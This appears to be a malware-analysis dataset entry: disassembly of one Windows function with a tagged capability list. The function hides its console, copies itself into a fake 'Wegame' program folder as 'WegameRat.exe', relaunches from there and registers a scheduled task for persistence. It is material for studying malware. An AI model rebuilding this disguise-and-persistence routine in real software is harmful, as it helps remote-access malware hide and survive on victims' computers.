Function at 0x402db0
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Get file attributes
Hide graphical window
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2440
call fcn.00414820
mov eax, dword [0x42029c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0xfe
lea eax, [ebp - 0x103]
push 0
push eax
mov byte [ebp - 0x104], 0
call fcn.0040ed00
add esp, 0xc
push 0xff
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
lea edx, [ebp - 0x104]
push edx
push str.ConsoleWindowClass
call dword [sym.imp.USER32.dll_FindWindowA]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
cmp dword [0x468298], 0
je 0x402f31
xor eax, eax
mov word [ebp - 0x2430], ax
lea esi, [eax + 0x1d]
lea eax, [ebp - 0x2430]
mov dword [ebp - 0x241c], 7
mov dword [ebp - 0x2420], 0
call fcn.00404fd0
mov eax, dword [ebp - 0x2430]
mov esi, 8
cmp dword [ebp - 0x241c], esi
jae 0x402e64
lea eax, [ebp - 0x2430]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402e7b
test al, 0x10
je 0x402e7b
mov eax, 1
jmp 0x402e7d
xor eax, eax
test al, al
sete bl
cmp dword [ebp - 0x241c], esi
jb 0x402e99
mov ecx, dword [ebp - 0x2430]
push ecx
call fcn.004077ee
add esp, 4
test bl, bl
je 0x402eaa
push 0
push str.C:Program_Files__x86_Wegame
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x104
lea edx, [ebp - 0x108]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, str.C:Program_Files__x86_WegameRat.exe
lea eax, [ebp - 0x108]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402ef0
test dl, dl
je 0x402eec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402ef0
add eax, 2
add ecx, 2
test dl, dl
jne 0x402ed0
xor eax, eax
jmp 0x402ef5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402f31
push 0
push str.C:Program_Files__x86_WegameRat.exe
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402f29
push 1
push 0
push 0
push str.C:Program_Files__x86_WegameRat.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
call fcn.004027f0
mov ecx, dword [0x4682b8]
mov esi, eax
push str._UserId_
push ecx
mov dword [ebp - 0x2434], esi
call fcn.004074fd
mov edi, eax
mov eax, dword [0x4682b8]
sub edi, eax
sar edi, 1
add edi, 8
lea ebx, [edi + edi]
lea edx, [ebx + eax]
push str.__UserId_
push edx
call fcn.004074fd
mov ecx, dword [0x4682b8]
sub eax, ecx
add esp, 0x10
sar eax, 1
mov dword [ebp - 0x2440], eax
mov eax, ecx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402f87
sub eax, edx
sar eax, 1
mov edx, eax
mov eax, esi
lea esi, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402fa0
sub eax, esi
sar eax, 1
lea eax, [eax + edx + 1]
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004069d1
mov esi, eax
mov eax, dword [0x4682b8]
push ebx
push eax
push esi
call fcn.0040ed80
mov eax, dword [ebp - 0x2434]
lea ecx, [ebx + esi]
add esp, 0x10
sub ecx, eax
movzx edx, word [eax]
mov word [ecx + eax], dx
add eax, 2
test dx, dx
jne 0x402fe6
mov eax, dword [ebp - 0x2434]
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403000
mov ecx, dword [0x4682b8]
sub eax, edx
mov edx, dword [ebp - 0x2440]
sar eax, 1
add eax, edi
lea ecx, [ecx + edx*2]
lea edx, [esi + eax*2]
sub edx, ecx
movzx eax, word [ecx]
mov word [edx + ecx], ax
add ecx, 2
test ax, ax
jne 0x403025
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str._Command__
push esi
call fcn.004074fd
sub eax, esi
sar eax, 1
add eax, 0xa
add eax, eax
mov dword [ebp - 0x2434], eax
add eax, esi
push str.___Command_
push eax
call fcn.004074fd
mov ebx, eax
sub ebx, esi
mov eax, esi
add esp, 0x10
sar ebx, 1
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403080
sub eax, edx
sar eax, 1
mov edx, eax
lea eax, [ebp - 0x20c]
lea edi, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4030a0
sub eax, edi
sar eax, 1
lea eax, [eax + edx + 1]
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004069d1
mov edi, eax
mov eax, dword [ebp - 0x2434]
push eax
push esi
push edi
call fcn.0040ed80
mov edx, dword [ebp - 0x2434]
lea eax, [ebp - 0x20c]
add edx, edi
mov ecx, eax
add esp, 0x10
sub edx, ecx
mov edi, edi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x4030f0
lea eax, [ebp - 0x20c]
lea edx, [eax + 2]
jmp 0x403110
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403110
sub eax, edx
sar eax, 1
add eax, ebx
lea esi, [esi + ebx*2]
lea ecx, [edi + eax*2]
movzx eax, word [esi]
mov word [ecx], ax
add esi, 2
add ecx, 2
test ax, ax
jne 0x403127
push str._Command__
push edi
call fcn.004074fd
sub eax, edi
sar eax, 1
lea edx, [edi + eax*2 + 0x14]
push str.___Command_
push edx
call fcn.004074fd
mov esi, eax
sub esi, edi
mov eax, edi
add esp, 0x10
sar esi, 1
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403164
sub eax, edx
sar eax, 1
xor ecx, ecx
add eax, 0xc
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004069d1
mov ebx, eax
lea eax, [esi + esi + 0x16]
push eax
push edi
push ebx
call fcn.0040ed80
mov eax, str.___noverify
lea ecx, [ebx + esi*2 + 0x16]
add esp, 0x10
sub ecx, eax
jmp 0x4031b0
movzx edx, word [eax]
mov word [ecx + eax], dx
add eax, 2
test dx, dx
jne 0x4031b0
lea eax, [edi + esi*2 + 0x16]
lea esi, [ebx + esi*2 + 0x2c]
sub esi, eax
lea esp, [esp]
movzx ecx, word [eax]
mov word [esi + eax], cx
add eax, 2
test cx, cx
jne 0x4031d0
call fcn.004028c0
mov edi, eax
xor eax, eax
mov dword [ebp - 0x2438], eax
mov dword [ebp - 0x243c], eax
lea eax, [ebp - 0x2414]
push ebx
push eax
mov edx, 0x1000
call fcn.00401b30
add esp, 8
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov esi, eax
push esi
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
push esi
lea edx, [ebp - 0x414]
push 0x41d9f4
push edx
mov edx, 0x104
call fcn.00401b30
lea eax, [ebp - 0x243c]
push eax
lea ecx, [ebp - 0x2438]
push ecx
push 0
push 0
push 0
push 0
push 2
lea edx, [ebp - 0x2414]
push edx
lea eax, [ebp - 0x414]
push eax
push edi
call fcn.004017a0
add esp, 0x34
mov dword [0x468294], eax
pop edi
test eax, eax
js 0x40327e
push str.Add_Serice_Success_n
call fcn.004071c1
add esp, 4
jmp 0x40328c
push eax
push str.SchRpcRegisterTask_Error_Code:__ld_n
call fcn.004071c1
add esp, 8
call fcn.00402a60
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00405d0d
mov esp, ebp
pop ebp
ret